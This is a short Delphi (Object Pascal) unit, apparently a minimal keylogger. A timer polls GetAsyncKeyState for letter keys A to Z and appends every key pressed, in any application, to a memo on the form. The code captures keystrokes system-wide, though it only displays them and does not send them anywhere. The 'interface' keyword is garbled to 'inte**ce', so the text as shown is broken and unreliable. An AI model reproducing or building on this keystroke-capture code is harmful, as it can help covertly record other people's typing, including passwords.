|
unit Unit1;
inte**ce
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
var
i: integer;
begin
for i:=65 To 90 do
begin
if (GetAsyncKeyState(i)=-32767) then
if (i>=65) and (i<=90) then
memo1.Text:=memo1.Text+Char(i);
end;
end;
end. |
|